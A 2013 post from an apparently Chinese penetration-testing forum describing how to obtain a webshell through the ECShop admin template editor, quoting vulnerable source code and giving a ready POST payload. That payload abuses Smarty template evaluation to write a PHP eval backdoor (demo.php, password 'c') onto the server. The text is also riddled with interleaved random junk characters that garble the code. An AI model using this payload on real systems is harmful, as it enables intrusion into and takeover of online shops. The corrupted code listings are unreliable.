中国网络渗透测试联盟

标题: Ecshop后台getshell [打印本页]

作者: admin    时间: 2013-1-11 21:33
标题: Ecshop后台getshell
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
1 T, ^# Y6 O3 |/ A5 P% s/ O$ f+ a; w
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了' z6 A+ T  K8 W( w$ ~
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码; c* ^8 }9 n* p8 w+ n- }; [2 p
admin/template.php- i1 h, e5 D* Z& S% Y
$ A; m6 C( _8 |; _6 E  Y* E6 P
1 if ($_REQUEST['act'] == 'update_library')
8 |/ i$ C1 U% ]. J+ w- H% Z3 W
2   
0 c( w- M$ q  H4 R/ L
2 g- Y' g& @, t: l8 P" y; P3 {
/ }) Q) S& T+ x3 a, R+ p5 D8 B4 @$ ~3 p# A# e; T
4     check_authz_json('library_manage'); / ~: w  A) p* [5 M+ U

1 c4 G. k8 H9 E; c6 Q5   # X8 @9 t# Z: d9 Q  n# z2 c

+ W& m: b6 c2 ]( `; x* i6     $html = stripslashes(json_str_iconv($_POST['html'])); % d5 j; C8 [/ @# j! ?
. z5 |. X# |2 N+ o8 N
7   * M0 e- |+ S5 U+ Y4 j4 \- p
: j1 U5 y# U0 @) U8 l( W, `
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
: M, t/ u- E' n) H9 [' [) S$ ~# u& I  Y# H8 P  {6 z0 M
9   " g' x' n9 v  j8 P

0 s: g- u/ s5 L" M& b3 _/ Z$ C5 Y10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
; \) Q$ z: G9 w/ l. H2 ]1 Q, x2 t
11   ' J0 M3 I- K5 I! T7 {
9 Z- c; T- o# r" T# ~* \
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
) X% ^2 L( T. ~- y- S( g2 J
3 W% O9 y; P4 h: J5 L! R13   
- F+ p, Y8 _% ^- _6 K7 n6 c2 ?
$ b$ d* d  v( _! j. x1 _# W! A% Q14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
! u% g7 {2 l4 ?% k
1 Y4 S$ |8 P$ L! d! [1 @7 R15     { ) l( p3 P5 o- L: u' j/ x: C
. Y4 S0 \% s/ n/ U* R; B! H
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); 6 A( o; i# K% [/ Z1 T
3 L9 U; K+ I* Q  _
17         make_json_result('', $_LANG['update_lib_success']); " d" ?( g# V$ k  s& q/ |
# M, f' Z9 l3 A- p$ G0 D' B
18     }
  X3 o! F  _' W( l+ p, U8 Y
/ |7 h. M+ |1 n3 A4 Z: h19     else 2 G$ |' \0 k/ p: s2 D  k  b
: M* Q5 K, `+ z5 R1 Q
20     {
: V: o' a( e2 H* y8 Z% b
1 M; [/ E- ]7 _0 Q6 Z21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
$ N( u# b  r% }; l- u
) h4 T7 f3 d9 f$ ?3 ~22     }
; r# |7 `5 I' \0 \' z' e; `. B( {, h, B  A0 ]& o. w
23 }
$ m. y8 j: {9 h  S/ g6 ^1 J3 C1 @+ m6 G7 m+ O0 q
那么找个比较方便调用了模板的文件
3 D$ i3 s/ Q% y# G' c( \  t  G+ E5 }$ oindex.php7 {6 g+ f' J) e6 `
/ d* R0 M* [( x* t
1 if ($act == 'cat_rec')
- x7 I9 f, e( `* J. ^6 u2 y) y2 `5 l7 {2 K) ?5 f
2   
. e- b7 e" n  J4 `/ |5 {* m. l5 V: _$ y* Z/ T7 c
3 { 4 `) ~3 d8 B0 ?- s! W
) W7 j' K& A8 E# `
4   . |/ w. H) i& j+ g
3 U2 F2 l3 O5 T, z9 j0 P3 }8 V1 w" W
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
8 x& f$ p" s. x) _* ~5 J# a7 m' K0 S0 o
6   
, p: v" O: {9 l  Z
) \3 v/ t) h: z- u, q# @" @7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; 1 f  J% Y4 t  A: i0 t* |9 Y
# e  w9 g5 ?+ b" `$ ^4 B
8   
3 X" h5 O) w! Y( g; |8 L
3 ]! g- ]* \2 N1 y' O9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
/ [8 j: {$ f3 \2 f; _  h' D% l7 ~1 c3 A0 P' i6 w
10   
  }6 i% y3 B8 Q' q/ Q0 M" R, v$ x$ \+ }, Z2 C1 F9 f
11     include_once('includes/cls_json.php');
( P% q1 [" D$ m/ m) c. Y$ J, F, V1 C8 \7 A& L1 j( t' m
12   : T/ y4 }4 }" ^

" t8 P( Z2 S9 g4 ]6 ^4 j13     $json = new JSON;
# ]. [; p. e$ N( ?) \& B  g* e8 C: Y* s6 ^! n) X# d
14   
  N2 f0 S/ m# x5 d% y
" N2 Y4 y0 Z# g15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
: F7 b% x8 w0 \1 t) u  E- h. S* ?2 g" [9 N
16   * {8 M4 }. j- g4 |6 Y# K

  X9 J4 l" d8 L, x17     $children = get_children($cat_id);
$ Y3 q5 s8 G" Y: K2 |+ Z7 f6 g: p+ |, A
18   ) t% `* n$ M) R0 m& E+ o# @

+ H! s% j: K# z3 B  P19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
& |+ o& i4 O3 n% S# j& g4 ]5 f
) u; P' H" P) p  T  u5 c, c1 H20   
. J- u; t. a( a9 P6 F- N0 S/ b) Y7 M2 [9 |( w5 Q
21     $smarty->assign('cat_rec_sign', 1);
* {, P6 ~6 |: x. f/ g* I+ I' l! h. q. W, N& c( w
22   ( e2 V8 K; h# W
8 M: i8 I1 w- K9 ]; F& E6 [
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
# Y( E+ R& y6 ^: u  u  L. L# w7 G4 G$ _& S. o7 i2 _+ B
24   8 a' U  A' M6 `) A4 H8 H

! V0 x: Z9 s  w; `25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
$ s( q$ \0 `$ Y5 b1 F' u6 u2 e; ?0 C& Q9 Q; M1 L8 v! R
26   
. N. ]! c! {, o1 r! L6 Y  O$ e* I# B, t
27         echo $rec_array[$rec_type];
& n" U2 G3 D0 u( h$ x" [4 q4 {6 F$ a: r, |$ d
28   2 e+ J. g- l: O7 ]$ A* k
: D! l  f; }: Z! @7 S+ T$ J
29     die($json->encode($result)); 6 g8 l" e* l% i  c& }( m! U
0 V4 w( ^& O, l7 b$ O
30   ; A+ {- w/ c2 w/ ~' ~, Y, c
  Z6 f. e6 U2 q  C0 C0 K8 }5 G
31 }
( U5 W! C' S9 X5 n8 K, \3 ]$ t3 H9 f5 I/ ^2 r
那么就有利用方法了5 E$ ~4 K: I- U- n8 r. [
post包到http://localhost/ec/admin/template.php?act=update_library
0 v0 x' x4 O3 D, D% \% ~! VPost内容:% J8 Q9 {" h- _% A: C8 R

3 H; T1 M# X) m1 Q" U( i8 @9 V  V2 |9 }6 A! Y
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
9 U3 x' \2 K" f. y, ]
7 h3 v5 N' \. M4 [0 e然后访问http://localhost/ec/index.php?act=cat_rec4 S0 P; p9 j' E& Z# w

) t$ S2 V) e7 ^  ]shel地址:http://localhost/ec/demo.php
% H/ B9 S& ]* L* [% V密码c; u& R8 c4 S( |

- e2 c3 i$ H0 o




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2